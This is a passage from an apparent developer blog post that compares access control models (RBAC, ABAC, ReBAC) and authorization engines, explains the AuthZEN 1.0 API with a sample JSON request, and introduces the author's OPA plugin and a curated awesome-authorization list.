OAuth 2.0 and AuthZEN operate on different layers. OAuth is about passing tokens between a client and a resource server. AuthZEN is about the application asking a policy engine for a decision. I see articles conflating these two all the time, but they are entirely different beasts.

2. The Cambrian Explosion of Authorization Engines

Let’s look at reality. As of April 2026, here is what the major authorization engine landscape looks like.

That's a lot. And while they might look similar from the outside, their foundational design philosophies are radically different.

3. You Can't Choose If You Don't Know the Models

The very first thing to understand when picking an authorization engine is the underlying access control model. If you skip this, you will inevitably hit a wall where the engine simply cannot express your use case.

RBAC: Managing by Roles

The simplest approach. Assign roles to users, and bind permissions to those roles.

Kubernetes RBAC is a perfect example. It's simple, but as conditions grow, you suffer from Role Explosion. Try expressing "Only full-time engineers in the Tokyo office assigned to Project A can access the production environment" in strict RBAC. The number of role permutations becomes unmanageable.

ABAC: Deciding by Attributes

Decisions are evaluated based on the attributes of the user, the resource, and the environment.

This is where OPA (Rego) and Cedar shine. It’s highly flexible, but the policies themselves can get complicated very quickly.

ReBAC: Deciding by Relationships

Coined by the Google Zanzibar paper. It manages relationships as a graph—for example, "alice is a viewer of doc:readme," or "all members of the eng group are viewers."

SpiceDB, OpenFGA, and Permify implement this model. It operates identically to how sharing works in Google Drive, making it the most natural fit for collaborative apps. However, it struggles with attribute-based conditions like "allow access only during business hours."

So, Which One Should You Use?

Roughly speaking:

What you want to do	Model	Candidates
Simple role management	RBAC	Casbin, Spring Security, Kubernetes RBAC
Complex branching logic (Attributes)	ABAC	OPA, Cedar, Cerbos
Google Drive-style sharing / Hierarchies	ReBAC	SpiceDB, OpenFGA, Permify
Kubernetes policy control	ABAC/RBAC	OPA Gatekeeper, Kyverno

In reality, you often end up with a hybrid of RBAC + ABAC or a combination of ReBAC + ABAC. Cedar natively supports both RBAC and ABAC, while Aserto's Topaz combines Zanzibar-style ReBAC with an OPA engine for ABAC.

4. AuthZEN: Standardizing the AuthZ API

All the authorization engines we’ve looked at share a glaring problem: Their APIs are completely fragmented.

OPA wants {"input": {...}} sent via POST /v1/data/.... Cedar uses a different API entirely. SpiceDB expects a gRPC CheckPermission call. They are all different.

This means if you ever decide to swap engines, you have to rewrite all of your application code. We successfully separated PDP (decision) from PEP (enforcement), but we never standardized the protocol between them.

In January 2026, the OpenID Foundation officially approved the AuthZEN Authorization API 1.0 as a Final Specification. It standardizes the communication between the PEP and PDP, allowing you to use the exact same JSON API regardless of which underlying engine is running.

// Request: Can this subject perform this action on this resource?
POST /access/v1/evaluation
{
  "subject": { "type": "user", "id": "alice" },
  "action": { "name": "read" },
  "resource": { "type": "document", "id": "doc-123" }
}

// Response
{
  "decision": true
}

Why does this matter? It decouples your engine choice from your application code. Starting with OPA and later swapping it out for Cedar as your use case evolves is suddenly a realistic option.

Making OPA AuthZEN-Compatible

I built a plugin that makes OPA natively speak AuthZEN.

opa-authzen-plugin

OPA is a generic policy engine with its own REST API. Its paths, request structures, and response structures are entirely different from AuthZEN's. There was an authzen-proxy built in Node.js sitting in the contrib repo, but running a separate proxy process alongside OPA felt less than ideal for production.

So, I used OPA’s plugin architecture to run an AuthZEN server directly inside the OPA process itself. It’s the exact same pattern used by the opa-envoy-plugin.

Engines like Cerbos and Topaz have already started natively supporting AuthZEN. As more engines adopt it, the switching costs between them will continue to drop.

5. Why the Existing awesome-authorization Failed

warrant-dev/awesome-authorization has around 420 stars and decent visibility. But looking closely at the content, there are obvious gaps.

It focuses heavily on articles and concepts, lacking actual tools. OPA gets exactly one line. Major engines like Cedar, OpenFGA, SpiceDB, Casbin, and Cerbos are entirely absent.

It completely ignores modern standards. The authorization spec world doesn’t end with OAuth 2.0. We have AuthZEN, SPIFFE, UMA, and GNAP reshaping the space, but none of them are covered.

It feels like a vendor proxy. The repo puts the Warrant company banner right at the very top. It’s hard to call it a vendor-neutral community resource.

So, I decided to build a better one.

6. Curating awesome-authorization

I designed kanywst/awesome-authorization to cover the entire authorization landscape through the following sections:

The biggest differentiator from the old list is the Policy Engines section. I explicitly categorized them into General Purpose, Zanzibar-based, Kubernetes Native, and AuthZEN-compatible. I wanted to create a place where anyone looking for an auth engine could instantly understand the entire current market.

The Standards section is just as comprehensive, covering AuthZEN, OAuth/OIDC, SPIFFE/SPIRE, XACML, and GNAP. You can't grasp the "big picture" of authorization by just looking at tools—you need to understand the underlying specifications driving them.

Conclusion

There are too many authorization engines, and no place to make sense of them all. So I fixed that.

kanywst/awesome-authorization

Whether you are trying to select a policy engine, research a standard specification, or find that one specific engineering blog post you read months ago, treat this repository as your starting point.

PRs are absolutely welcome. If a good tool or article is missing, please add it.

AuthZEN Authorization API 1.0 Deep Dive : Deep Dive into the AuthZEN Spec
I Built an OPA Plugin That Turns It Into an AuthZEN-Compatible PDP : Design and Implementation of opa-authzen-plugin
Google Zanzibar Deep Dive : Explaining the Zanzibar Paper
RBAC vs ABAC vs ReBAC : Comparing Access Control Models